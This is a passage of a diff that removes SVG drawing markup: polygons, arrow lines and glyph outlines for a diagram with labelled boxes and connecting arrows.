fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="223.0889 16.85302 242.521975 16.85302 242.521975 38.679795 223.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <line x1="378.52197" y1="27.7664" x2="231.56134" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="360.52206" y1="27.82041" x2="231.56134" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="360.53693 32.77559 374.136295 27.779565 360.507206 22.8652355"></polygon>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M551.7156,4.1045 L551.7156,4.1045 C551.7156,2.5803148 552.951196,1.344719 554.475366,1.344719 L596.325891,1.344719 C597.057824,1.344719 597.75979,1.63547523 598.277368,2.1530381 C598.794946,2.67060097 599.085717,3.3725587 599.085717,4.1044999 L599.085717,48.6636799 C599.085717,50.1878651 597.850122,51.4234609 596.325891,51.4234609 L554.475366,51.4234609 C552.951196,51.4234609 551.7156,50.1878652 551.7156,48.6636799 L551.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M570.994,29.77284 L572.634625,29.55409 C572.822125,30.49159 573.139833,31.163465 573.58775,31.569715 C574.046083,31.975965 574.598167,32.17909 575.244,32.17909 C576.014833,32.17909 576.665875,31.913465 577.197125,31.382215 C577.728375,30.850965 577.994,30.1895067 577.994,29.3978324 C577.994,28.64784 577.749208,28.0280458 577.259625,27.5384574 C576.770042,27.0488741 576.145042,26.8040824 575.384625,26.8040824 C575.072125,26.8040824 574.686708,26.8613741 574.228375,26.9759574 L574.415875,25.5384574 C574.520042,25.5488741 574.608583,25.5540824 574.6815,25.5540824 C575.379417,25.5540824 576.004417,25.3717907 576.5565,25.0072074 C577.119,24.6426241 577.40025,24.0853324 577.40025,23.3353324 C577.40025,22.7311657 577.197125,22.2311657 576.790875,21.8353324 C576.384625,21.4394991 575.858583,21.2415824 575.21275,21.2415824 C574.577333,21.2415824 574.046083,21.4447074 573.619,21.8509574 C573.191917,22.2467907 572.921083,22.8457491 572.8065,23.6478324 L571.165875,23.3509574 C571.363792,22.2572074 571.816917,21.4082491 572.52525,20.8040824 C573.233583,20.1999157 574.119,19.8978324 575.1815,19.8978324 C575.910667,19.8978324 576.577333,20.0540824 577.1815,20.3665824 C577.796083,20.6790824 578.264833,21.1061657 578.58775,21.6478324 C578.921083,22.1894991 579.08775,22.7624157 579.08775,23.3665824 C579.08775,23.9394991 578.9315,24.4655407 578.619,24.9447074 C578.3065,25.4134574 577.848167,25.7884574 577.244,26.0697074 C578.035667,26.2572074 578.65025,26.6374157 579.08775,27.2103324 C579.52525,27.7832541 579.744,28.5020067 579.744,29.36659 C579.744,30.52284 579.316917,31.507215 578.46275,32.319715 C577.619,33.132215 576.546083,33.538465 575.244,33.538465 C574.066917,33.538465 573.092958,33.1895067 572.322125,32.49159 C571.551292,31.7936733 571.108583,30.8874233 570.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="407.0889 16.85302 426.521975 16.85302 426.521975 38.679795 407.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.0889 16.85302 562.521944 16.85302 562.521944 38.679795 543.0889 38.679795"></polygon>
-                <line x1="562.522" y1="27.7664" x2="415.56137" y2="28.2073485" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="544.52203" y1="27.82041" x2="415.56133" y2="28.20735" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="544.5369 32.77559 558.136265 27.779565 544.507176 22.8652355"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="15.088913 39.14516 34.52198 39.14516 34.52198 60.971927 15.088913 60.971927"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="199.08891 39.14516 218.52197 39.14516 218.52197 60.971927 199.08891 60.971927"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="73.96063 10.47244 152.35432 10.47244 152.35432 41.842511 73.96063 41.842511"></polygon>
-                <path d="M84.39813,33.07748 L84.39813,19.718097 L89.445005,19.718097 C90.3304217,19.718097 91.007505,19.7597637 91.476255,19.843097 C92.1220883,19.9576803 92.6689633,20.171222 93.11688,20.483722 C93.5647967,20.7858053 93.9241717,21.2128887 94.195005,21.764972 C94.4658383,22.3170553 94.601255,22.9264303 94.601255,23.593097 C94.601255,24.7285137 94.2366717,25.6920553 93.507505,26.483722 C92.788755,27.264972 91.4814633,27.655597 89.58563,27.655597 L86.163755,27.655597 L86.163755,33.07748 L84.39813,33.07748 L84.39813,33.07748 Z M86.163755,26.0774724 L89.61688,26.0774724 C90.7627133,26.0774724 91.5752133,25.8639307 92.05438,25.4368474 C92.5335467,25.0097641 92.77313,24.4108057 92.77313,23.6399724 C92.77313,23.0774724 92.632505,22.5983057 92.351255,22.2024724 C92.070005,21.8066391 91.695005,21.5462224 91.226255,21.4212224 C90.9345883,21.3378891 90.3877133,21.2962224 89.58563,21.2962224 L86.163755,21.2962224 L86.163755,26.0774724 L86.163755,26.0774724 Z M96.029203,28.23373 C96.029203,26.4420583 96.5239947,25.1191391 97.513578,24.2649724 C98.3469113,23.5462224 99.3625363,23.1868474 100.560453,23.1868474 C101.893786,23.1868474 102.982328,23.6243474 103.826078,24.4993474 C104.669828,25.3639307 105.091703,26.5670583 105.091703,28.10873 C105.091703,29.3483133 104.904203,30.32748 104.529203,31.04623 C104.154203,31.7545633 103.607328,32.3066467 102.888578,32.70248 C102.180245,33.0983133 101.404203,33.29623 100.560453,33.29623 C99.2062863,33.29623 98.1125363,32.8639383 97.279203,31.999355 C96.4458697,31.124355 96.029203,29.8691467 96.029203,28.23373 Z M97.716703,28.23373 C97.716703,29.4733133 97.982328,30.405605 98.513578,31.030605 C99.0552447,31.6451883 99.7375363,31.95248 100.560453,31.95248 C101.372953,31.95248 102.050036,31.6451883 102.591703,31.030605 C103.13337,30.405605 103.404203,29.4576883 103.404203,28.186855 C103.404203,26.9889333 103.13337,26.0826807 102.591703,25.4680974 C102.050036,24.8535141 101.372953,24.5462224 100.560453,24.5462224 C99.7375363,24.5462224 99.0552447,24.8535141 98.513578,25.4680974 C97.982328,26.0722641 97.716703,26.9941416 97.716703,28.23373 Z M108.795545,33.07748 L105.826795,23.405597 L107.52992,23.405597 L109.06117,28.9837296 L109.639295,31.0618546 C109.670545,30.9576879 109.837212,30.2910213 110.139295,29.0618546 L111.68617,23.405597 L113.37367,23.405597 L114.81117,29.0149796 L115.295545,30.8587296 L115.858045,28.9993546 L117.514295,23.405597 L119.108045,23.405597 L116.076795,33.07748 L114.37367,33.07748 L112.84242,27.2805974 L112.46742,25.6399724 L110.514295,33.07748 L108.795545,33.07748 Z M127.112241,29.968105 L128.799741,30.17123 C128.528908,31.1608133 128.034116,31.9316467 127.315366,32.48373 C126.596616,33.0253967 125.674741,33.29623 124.549741,33.29623 C123.133074,33.29623 122.008074,32.8639383 121.174741,31.999355 C120.351824,31.124355 119.940366,29.9003967 119.940366,28.32748 C119.940366,26.6920583 120.357033,25.4264307 121.190366,24.5305974 C122.034116,23.6347641 123.122658,23.1868474 124.455991,23.1868474 C125.747658,23.1868474 126.799741,23.6295557 127.612241,24.5149724 C128.435158,25.3899724 128.846616,26.6243499 128.846616,28.218105 C128.846616,28.3222717 128.846616,28.468105 128.846616,28.655605 L121.627866,28.655605 C121.690366,29.718105 121.992449,30.5358133 122.534116,31.10873 C123.075783,31.67123 123.747658,31.95248 124.549741,31.95248 C125.153908,31.95248 125.669533,31.79623 126.096616,31.48373 C126.523699,31.1608133 126.862241,30.655605 127.112241,29.968105 Z M121.721616,27.3118474 L127.127866,27.3118474 C127.054949,26.4993474 126.846616,25.8899724 126.502866,25.4837224 C125.982033,24.8483057 125.304949,24.5305974 124.471616,24.5305974 C123.721616,24.5305974 123.086199,24.7858057 122.565366,25.2962224 C122.054949,25.7962224 121.773699,26.4680974 121.721616,27.3118474 Z M130.847333,33.07748 L130.847333,23.405597 L132.316083,23.405597 L132.316083,24.874347 C132.691083,24.186847 133.034833,23.733722 133.347333,23.514972 C133.67025,23.296222 134.024416,23.186847 134.409833,23.186847 C134.961916,23.186847 135.524416,23.3639303 136.097333,23.718097 L135.534833,25.233722 C135.128583,24.9941387 134.727541,24.874347 134.331708,24.874347 C133.967125,24.874347 133.644208,24.983722 133.362958,25.202472 C133.081708,25.421222 132.878583,25.718097 132.753583,26.093097 C132.566083,26.6764303 132.472333,27.3170579 132.472333,28.0149796 L132.472333,33.07748 L130.847333,33.07748 L130.847333,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="265.96063 10.47244 332.38583 10.47244 332.38583 41.842511 265.96063 41.842511"></polygon>
-                <path d="M280.82782,28.78061 L282.48407,28.639985 C282.567403,29.3066517 282.749695,29.8535267 283.030945,30.28061 C283.322612,30.7076933 283.770528,31.0566517 284.374695,31.327485 C284.989278,31.5879017 285.676778,31.71811 286.437195,31.71811 C287.103862,31.71811 287.697612,31.6191517 288.218445,31.421235 C288.739278,31.2233183 289.124695,30.952485 289.374695,30.608735 C289.624695,30.2545683 289.749695,29.8691517 289.749695,29.452485 C289.749695,29.0358183 289.624695,28.671235 289.374695,28.358735 C289.135112,28.0462299 288.739278,27.7806024 288.187195,27.5618524 C287.822612,27.4264357 287.025737,27.2128941 285.79657,26.9212274 C284.57782,26.6191441 283.723653,26.3378941 283.23407,26.0774774 C282.588237,25.7441441 282.10907,25.3326857 281.79657,24.8431024 C281.48407,24.3431024 281.32782,23.7858107 281.32782,23.1712274 C281.32782,22.5045607 281.520528,21.8795607 281.905945,21.2962274 C282.291362,20.7024774 282.848653,20.2545607 283.57782,19.9524774 C284.317403,19.6503941 285.135112,19.4993524 286.030945,19.4993524 C287.020528,19.4993524 287.89032,19.6608107 288.64032,19.9837274 C289.400737,20.2962274 289.98407,20.7649774 290.39032,21.3899774 C290.79657,22.0045607 291.01532,22.7024774 291.04657,23.4837274 L289.35907,23.6087274 C289.26532,22.7649774 288.95282,22.1295607 288.42157,21.7024774 C287.900737,21.2649774 287.129903,21.0462274 286.10907,21.0462274 C285.036153,21.0462274 284.254903,21.2441441 283.76532,21.6399774 C283.275737,22.0358107 283.030945,22.5097691 283.030945,23.0618524 C283.030945,23.5410191 283.208028,23.9316441 283.562195,24.2337274 C283.895528,24.5462274 284.780945,24.8691441 286.218445,25.2024774 C287.655945,25.5253941 288.64032,25.8066441 289.17157,26.0462274 C289.95282,26.4003941 290.525737,26.8535191 290.89032,27.4056024 C291.26532,27.9576908 291.45282,28.59311 291.45282,29.31186 C291.45282,30.0201933 291.249695,30.6920683 290.843445,31.327485 C290.437195,31.952485 289.853862,32.4420683 289.093445,32.796235 C288.333028,33.139985 287.473653,33.31186 286.51532,33.31186 C285.306987,33.31186 284.291362,33.1347767 283.468445,32.78061 C282.655945,32.4264433 282.01532,31.8951933 281.54657,31.18686 C281.088237,30.4785267 280.848653,29.6764433 280.82782,28.78061 Z M293.662018,33.077485 L293.662018,19.718102 L295.302643,19.718102 L295.302643,24.514977 C296.06306,23.6295603 297.026601,23.186852 298.193268,23.186852 C298.912018,23.186852 299.53181,23.327477 300.052643,23.608727 C300.583893,23.889977 300.964101,24.280602 301.193268,24.780602 C301.422435,25.280602 301.537018,26.0045603 301.537018,26.952477 L301.537018,33.077485 L299.896393,33.077485 L299.896393,26.952477 C299.896393,26.1295603 299.71931,25.530602 299.365143,25.155602 C299.010976,24.780602 298.505768,24.593102 297.849518,24.593102 C297.370351,24.593102 296.917226,24.7233103 296.490143,24.983727 C296.06306,25.233727 295.755768,25.5722687 295.568268,25.999352 C295.391185,26.4264353 295.302643,27.0201853 295.302643,27.780602 L295.302643,33.077485 L293.662018,33.077485 L293.662018,33.077485 Z M303.428375,28.233735 C303.428375,26.4420633 303.923167,25.1191441 304.91275,24.2649774 C305.746083,23.5462274 306.761708,23.1868524 307.959625,23.1868524 C309.292958,23.1868524 310.3815,23.6243524 311.22525,24.4993524 C312.069,25.3639357 312.490875,26.5670633 312.490875,28.108735 C312.490875,29.3483183 312.303375,30.327485 311.928375,31.046235 C311.553375,31.7545683 311.0065,32.3066517 310.28775,32.702485 C309.579417,33.0983183 308.803375,33.296235 307.959625,33.296235 C306.605458,33.296235 305.511708,32.8639433 304.678375,31.99936 C303.845042,31.12436 303.428375,29.8691517 303.428375,28.233735 Z M305.115875,28.233735 C305.115875,29.4733183 305.3815,30.40561 305.91275,31.03061 C306.454417,31.6451933 307.136708,31.952485 307.959625,31.952485 C308.772125,31.952485 309.449208,31.6451933 309.990875,31.03061 C310.532542,30.40561 310.803375,29.4576933 310.803375,28.18686 C310.803375,26.9889383 310.532542,26.0826857 309.990875,25.4681024 C309.449208,24.8535191 308.772125,24.5462274 307.959625,24.5462274 C307.136708,24.5462274 306.454417,24.8535191 305.91275,25.4681024 C305.3815,26.0722691 305.115875,26.9941466 305.115875,28.233735 Z M317.991577,31.608735 L318.225952,33.06186 C317.767619,33.15561 317.35616,33.202485 316.991577,33.202485 C316.397827,33.202485 315.934285,33.108735 315.600952,32.921235 C315.278035,32.733735 315.048869,32.4889433 314.913452,32.18686 C314.778035,31.87436 314.710327,31.2285267 314.710327,30.24936 L314.710327,24.6712274 L313.507202,24.6712274 L313.507202,23.4056024 L314.710327,23.4056024 L314.710327,21.0149774 L316.335327,20.0306024 L316.335327,23.4056024 L317.991577,23.4056024 L317.991577,24.6712274 L316.335327,24.6712274 L316.335327,30.34311 C316.335327,30.8014433 316.361369,31.0983183 316.413452,31.233735 C316.475952,31.3691517 316.569702,31.4785267 316.694702,31.56186 C316.830119,31.6347767 317.022827,31.671235 317.272827,31.671235 C317.44991,31.671235 317.689494,31.6504017 317.991577,31.608735 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="447.53366 10.47244 518.43127 10.47244 518.43127 41.842511 447.53366 41.842511"></polygon>
-                <path d="M471.62164,31.49936 L471.62164,33.077485 L462.793545,33.077485 C462.783129,32.6816517 462.845629,32.3014433 462.981045,31.93686 C463.210212,31.3326933 463.569587,30.7389433 464.05917,30.15561 C464.55917,29.5722767 465.27792,28.9004017 466.21542,28.139985 C467.663337,26.9524799 468.642504,26.0097691 469.15292,25.3118524 C469.663337,24.6139357 469.918545,23.9576857 469.918545,23.3431024 C469.918545,22.6868524 469.68417,22.1399774 469.21542,21.7024774 C468.757087,21.2545607 468.15292,21.0306024 467.40292,21.0306024 C466.611254,21.0306024 465.975837,21.2701857 465.49667,21.7493524 C465.02792,22.2181024 464.793545,22.8691441 464.793545,23.7024774 L463.106045,23.5306024 C463.220629,22.2701857 463.65292,21.3118524 464.40292,20.6556024 C465.163337,19.9993524 466.173754,19.6712274 467.43417,19.6712274 C468.71542,19.6712274 469.731045,20.0253941 470.481045,20.7337274 C471.231025,21.4420607 471.606015,22.3222691 471.606015,23.3743524 C471.606015,23.9056024 471.49664,24.4316441 471.27789,24.9524774 C471.05916,25.4733107 470.694587,26.0201857 470.18417,26.5931024 C469.68417,27.1556024 468.84042,27.9368549 467.65292,28.93686 C466.673754,29.7597767 466.043545,30.3222767 465.762295,30.62436 C465.481045,30.9160267 465.251879,31.2076933 465.074795,31.49936 L471.62164,31.49936 Z M473.387997,26.4837274 C473.387997,24.9108107 473.549456,23.6451857 473.872372,22.6868524 C474.195289,21.7181024 474.674456,20.9733107 475.309872,20.4524774 C475.955706,19.9316441 476.762997,19.6712274 477.731747,19.6712274 C478.450497,19.6712274 479.080706,19.8170607 479.622372,20.1087274 C480.164039,20.3899774 480.606747,20.8066441 480.950497,21.3587274 C481.304664,21.9003941 481.580706,22.5618524 481.778622,23.3431024 C481.986956,24.1139357 482.091122,25.1608107 482.091122,26.4837274 C482.091122,28.0566491 481.929664,29.327485 481.606747,30.296235 C481.283831,31.2545683 480.799456,31.99936 480.153622,32.53061 C479.518206,33.0514433 478.710914,33.31186 477.731747,33.31186 C476.450497,33.31186 475.440081,32.8483183 474.700497,31.921235 C473.825497,30.8066517 473.387997,28.9941491 473.387997,26.4837274 Z M475.059872,26.4837274 C475.059872,28.6816491 475.315081,30.1451933 475.825497,30.87436 C476.346331,31.59311 476.981747,31.952485 477.731747,31.952485 C478.492164,31.952485 479.127581,31.5879017 479.637997,30.858735 C480.148414,30.1295683 480.403622,28.6712325 480.403622,26.4837274 C480.403622,24.2858107 480.148414,22.8274774 479.637997,22.1087274 C479.127581,21.3899774 478.486956,21.0306024 477.716122,21.0306024 C476.966122,21.0306024 476.367164,21.3483107 475.919247,21.9837274 C475.346331,22.7962274 475.059872,24.2962274 475.059872,26.4837274 Z M483.763729,26.4837274 C483.763729,24.9108107 483.925188,23.6451857 484.248104,22.6868524 C484.571021,21.7181024 485.050188,20.9733107 485.685604,20.4524774 C486.331438,19.9316441 487.138729,19.6712274 488.107479,19.6712274 C488.826229,19.6712274 489.456438,19.8170607 489.998104,20.1087274 C490.539771,20.3899774 490.982479,20.8066441 491.326229,21.3587274 C491.680396,21.9003941 491.956438,22.5618524 492.154354,23.3431024 C492.362688,24.1139357 492.466854,25.1608107 492.466854,26.4837274 C492.466854,28.0566491 492.305396,29.327485 491.982479,30.296235 C491.659563,31.2545683 491.175188,31.99936 490.529354,32.53061 C489.893938,33.0514433 489.086646,33.31186 488.107479,33.31186 C486.826229,33.31186 485.815813,32.8483183 485.076229,31.921235 C484.201229,30.8066517 483.763729,28.9941491 483.763729,26.4837274 Z M485.435604,26.4837274 C485.435604,28.6816491 485.690813,30.1451933 486.201229,30.87436 C486.722063,31.59311 487.357479,31.952485 488.107479,31.952485 C488.867896,31.952485 489.503313,31.5879017 490.013729,30.858735 C490.524146,30.1295683 490.779354,28.6712325 490.779354,26.4837274 C490.779354,24.2858107 490.524146,22.8274774 490.013729,22.1087274 C489.503313,21.3899774 488.862688,21.0306024 488.091854,21.0306024 C487.341854,21.0306024 486.742896,21.3483107 486.294979,21.9837274 C485.722063,22.7962274 485.435604,24.2962274 485.435604,26.4837274 Z M494.139461,26.4837274 C494.139461,24.9108107 494.30092,23.6451857 494.623836,22.6868524 C494.946753,21.7181024 495.42592,20.9733107 496.061336,20.4524774 C496.70717,19.9316441 497.514461,19.6712274 498.483211,19.6712274 C499.201961,19.6712274 499.83217,19.8170607 500.373836,20.1087274 C500.915503,20.3899774 501.358211,20.8066441 501.701961,21.3587274 C502.056128,21.9003941 502.33217,22.5618524 502.530086,23.3431024 C502.73842,24.1139357 502.842586,25.1608107 502.842586,26.4837274 C502.842586,28.0566491 502.681128,29.327485 502.358211,30.296235 C502.035295,31.2545683 501.55092,31.99936 500.905086,32.53061 C500.26967,33.0514433 499.462378,33.31186 498.483211,33.31186 C497.201961,33.31186 496.191545,32.8483183 495.451961,31.921235 C494.576961,30.8066517 494.139461,28.9941491 494.139461,26.4837274 Z M495.811336,26.4837274 C495.811336,28.6816491 496.066545,30.1451933 496.576961,30.87436 C497.097795,31.59311 497.733211,31.952485 498.483211,31.952485 C499.243628,31.952485 499.879045,31.5879017 500.389461,30.858735 C500.899878,30.1295683 501.155086,28.6712325 501.155086,26.4837274 C501.155086,24.2858107 500.899878,22.8274774 500.389461,22.1087274 C499.879045,21.3899774 499.23842,21.0306024 498.467586,21.0306024 C497.717586,21.0306024 497.118628,21.3483107 496.670711,21.9837274 C496.097795,22.7962274 495.811336,24.2962274 495.811336,26.4837274 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="208.80545 39.14516 208.80545 106.29134 24.80545 106.29134 24.80545 39.20815"></polyline>
-                <polyline id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round" points="208.80545 57.14516 208.80545 106.29134 24.80545 106.29134 24.80545 39.20815"></polyline>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="213.76065 57.14516 208.80545 43.530872 203.85025 57.14516"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="53.1076 90.47244 170.14696 90.47244 170.14696 121.842511 53.1076 121.842511"></polygon>
-                <path d="M67.43531,113.07748 L67.43531,99.718105 L72.482185,99.718105 C73.3676017,99.718105 74.044685,99.7597717 74.513435,99.843105 C75.1592683,99.9576883 75.7061433,100.17123 76.15406,100.48373 C76.6019767,100.785813 76.9613517,101.212897 77.232185,101.76498 C77.5030183,102.317063 77.638435,102.926438 77.638435,103.593105 C77.638435,104.728522 77.2738517,105.692063 76.544685,106.48373 C75.825935,107.26498 74.5186433,107.655605 72.62281,107.655605 L69.200935,107.655605 L69.200935,113.07748 L67.43531,113.07748 Z M69.200935,106.07748 L72.65406,106.07748 C73.7998933,106.07748 74.6123933,105.863938 75.09156,105.436855 C75.5707267,105.009772 75.81031,104.410813 75.81031,103.63998 C75.81031,103.07748 75.669685,102.598313 75.388435,102.20248 C75.107185,101.806647 74.732185,101.54623 74.263435,101.42123 C73.9717683,101.337897 73.4248933,101.29623 72.62281,101.29623 L69.200935,101.29623 L69.200935,106.07748 Z M79.066383,108.23373 C79.066383,106.442063 79.5611747,105.119147 80.550758,104.26498 C81.3840913,103.54623 82.3997163,103.186855 83.597633,103.186855 C84.9309663,103.186855 86.019508,103.624355 86.863258,104.499355 C87.7070029,105.363938 88.1288754,106.567063 88.1288754,108.10873 C88.1288754,109.348313 87.9413754,110.32748 87.566383,111.04623 C87.1913754,111.754563 86.6445029,112.306647 85.925758,112.70248 C85.2174247,113.098313 84.441383,113.29623 83.597633,113.29623 C82.2434663,113.29623 81.1497163,112.863938 80.316383,111.999355 C79.4830497,111.124355 79.066383,109.869147 79.066383,108.23373 Z M80.753883,108.23373 C80.753883,109.473313 81.019508,110.405605 81.550758,111.030605 C82.0924247,111.645188 82.7747163,111.95248 83.597633,111.95248 C84.410133,111.95248 85.0872163,111.645188 85.628883,111.030605 C86.1705497,110.405605 86.441383,109.457688 86.441383,108.186855 C86.441383,106.988938 86.1705497,106.082688 85.628883,105.468105 C85.0872163,104.853522 84.410133,104.54623 83.597633,104.54623 C82.7747163,104.54623 82.0924247,104.853522 81.550758,105.468105 C81.019508,106.072272 80.753883,106.994147 80.753883,108.23373 Z M91.832718,113.07748 L88.863968,103.405605 L90.567093,103.405605 L92.098343,108.98373 L92.676468,111.061855 C92.707718,110.957688 92.8743847,110.291022 93.176468,109.061855 L94.723343,103.405605 L96.410843,103.405605 L97.848343,109.01498 L98.332718,110.85873 L98.895218,108.999355 L100.551468,103.405605 L102.145218,103.405605 L99.113968,113.07748 L97.410843,113.07748 L95.879593,107.280605 L95.504593,105.63998 L93.551468,113.07748 L91.832718,113.07748 Z M110.149414,109.968105 L111.836914,110.17123 C111.566081,111.160813 111.071289,111.931647 110.352539,112.48373 C109.633789,113.025397 108.711914,113.29623 107.586914,113.29623 C106.170247,113.29623 105.045247,112.863938 104.211914,111.999355 C103.388997,111.124355 102.977539,109.900397 102.977539,108.32748 C102.977539,106.692063 103.394206,105.426438 104.227539,104.530605 C105.071289,103.634772 106.159831,103.186855 107.493164,103.186855 C108.784831,103.186855 109.836914,103.629563 110.649414,104.51498 C111.472331,105.38998 111.883789,106.624355 111.883789,108.218105 C111.883789,108.322272 111.883789,108.468105 111.883789,108.655605 L104.665039,108.655605 C104.727539,109.718105 105.029622,110.535813 105.571289,111.10873 C106.112956,111.67123 106.784831,111.95248 107.586914,111.95248 C108.191081,111.95248 108.706706,111.79623 109.133789,111.48373 C109.560872,111.160813 109.899414,110.655605 110.149414,109.968105 Z M104.758789,107.311855 L110.165039,107.311855 C110.092122,106.499355 109.883789,105.88998 109.540039,105.48373 C109.019206,104.848313 108.342122,104.530605 107.508789,104.530605 C106.758789,104.530605 106.123372,104.785813 105.602539,105.29623 C105.092122,105.79623 104.810872,106.468105 104.758789,107.311855 Z M113.884506,113.07748 L113.884506,103.405605 L115.353256,103.405605 L115.353256,104.874355 C115.728256,104.186855 116.072006,103.73373 116.384506,103.51498 C116.707423,103.29623 117.061589,103.186855 117.447006,103.186855 C117.999089,103.186855 118.561589,103.363938 119.134506,103.718105 L118.572006,105.23373 C118.165756,104.994147 117.764714,104.874355 117.368881,104.874355 C117.004298,104.874355 116.681381,104.98373 116.400131,105.20248 C116.118881,105.42123 115.915756,105.718105 115.790756,106.093105 C115.603256,106.676438 115.509506,107.317063 115.509506,108.01498 L115.509506,113.07748 L113.884506,113.07748 Z M119.722183,108.780605 L121.378433,108.63998 C121.461766,109.306647 121.644058,109.853522 121.925308,110.280605 C122.216975,110.707688 122.664891,111.056647 123.269058,111.32748 C123.883641,111.587897 124.571141,111.718105 125.331558,111.718105 C125.998225,111.718105 126.591975,111.619147 127.112808,111.42123 C127.633641,111.223313 128.019058,110.95248 128.269058,110.60873 C128.519058,110.254563 128.644058,109.869147 128.644058,109.45248 C128.644058,109.035813 128.519058,108.67123 128.269058,108.35873 C128.029475,108.04623 127.633641,107.780605 127.081558,107.561855 C126.716975,107.426438 125.9201,107.212897 124.690933,106.92123 C123.472183,106.619147 122.618016,106.337897 122.128433,106.07748 C121.4826,105.744147 121.003433,105.332688 120.690933,104.843105 C120.378433,104.343105 120.222183,103.785813 120.222183,103.17123 C120.222183,102.504563 120.414891,101.879563 120.800308,101.29623 C121.185725,100.70248 121.743016,100.254563 122.472183,99.95248 C123.211766,99.6503967 124.029475,99.499355 124.925308,99.499355 C125.914891,99.499355 126.784683,99.6608133 127.534683,99.98373 C128.2951,100.29623 128.878433,100.76498 129.284683,101.38998 C129.690933,102.004563 129.909683,102.70248 129.940933,103.48373 L128.253433,103.60873 C128.159683,102.76498 127.847183,102.129563 127.315933,101.70248 C126.7951,101.26498 126.024266,101.04623 125.003433,101.04623 C123.930516,101.04623 123.149266,101.244147 122.659683,101.63998 C122.1701,102.035813 121.925308,102.509772 121.925308,103.061855 C121.925308,103.541022 122.102391,103.931647 122.456558,104.23373 C122.789891,104.54623 123.675308,104.869147 125.112808,105.20248 C126.550308,105.525397 127.534683,105.806647 128.065933,106.04623 C128.847183,106.400397 129.4201,106.853522 129.784683,107.405605 C130.159683,107.957688 130.347183,108.593105 130.347183,109.311855 C130.347183,110.020188 130.144058,110.692063 129.737808,111.32748 C129.331558,111.95248 128.748225,112.442063 127.987808,112.79623 C127.227391,113.13998 126.368016,113.311855 125.409683,113.311855 C124.20135,113.311855 123.185725,113.134772 122.362808,112.780605 C121.550308,112.426438 120.909683,111.895188 120.440933,111.186855 C119.9826,110.478522 119.743016,109.676438 119.722183,108.780605 Z M132.556381,113.07748 L132.556381,99.718105 L134.197006,99.718105 L134.197006,104.51498 C134.957423,103.629563 135.920964,103.186855 137.087631,103.186855 C137.806381,103.186855 138.426173,103.32748 138.947006,103.60873 C139.478256,103.88998 139.858464,104.280605 140.087631,104.780605 C140.316798,105.280605 140.431381,106.004563 140.431381,106.95248 L140.431381,113.07748 L138.790756,113.07748 L138.790756,106.95248 C138.790756,106.129563 138.613673,105.530605 138.259506,105.155605 C137.905339,104.780605 137.400131,104.593105 136.743881,104.593105 C136.264714,104.593105 135.811589,104.723313 135.384506,104.98373 C134.957423,105.23373 134.650131,105.572272 134.462631,105.999355 C134.285548,106.426438 134.197006,107.020188 134.197006,107.780605 L134.197006,113.07748 L132.556381,113.07748 Z M142.322723,108.23373 C142.322723,106.442063 142.817515,105.119147 143.807098,104.26498 C144.640431,103.54623 145.656056,103.186855 146.853973,103.186855 C148.187306,103.186855 149.275848,103.624355 150.119598,104.499355 C150.963348,105.363938 151.385223,106.567063 151.385223,108.10873 C151.385223,109.348313 151.197723,110.32748 150.822723,111.04623 C150.447723,111.754563 149.900848,112.306647 149.182098,112.70248 C148.473765,113.098313 147.697723,113.29623 146.853973,113.29623 C145.499806,113.29623 144.406056,112.863938 143.572723,111.999355 C142.73939,111.124355 142.322723,109.869147 142.322723,108.23373 Z M144.010223,108.23373 C144.010223,109.473313 144.275848,110.405605 144.807098,111.030605 C145.348765,111.645188 146.031056,111.95248 146.853973,111.95248 C147.666473,111.95248 148.343556,111.645188 148.885223,111.030605 C149.42689,110.405605 149.697723,109.457688 149.697723,108.186855 C149.697723,106.988938 149.42689,106.082688 148.885223,105.468105 C148.343556,104.853522 147.666473,104.54623 146.853973,104.54623 C146.031056,104.54623 145.348765,104.853522 144.807098,105.468105 C144.275848,106.072272 144.010223,106.994147 144.010223,108.23373 Z M156.88594,111.60873 L157.120315,113.061855 C156.661982,113.155605 156.250523,113.20248 155.88594,113.20248 C155.29219,113.20248 154.828648,113.10873 154.495315,112.92123 C154.172398,112.73373 153.943232,112.488938 153.807815,112.186855 C153.672398,111.874355 153.60469,111.228522 153.60469,110.249355 L153.60469,104.67123 L152.401565,104.67123 L152.401565,103.405605 L153.60469,103.405605 L153.60469,101.01498 L155.22969,100.030605 L155.22969,103.405605 L156.88594,103.405605 L156.88594,104.67123 L155.22969,104.67123 L155.22969,110.343105 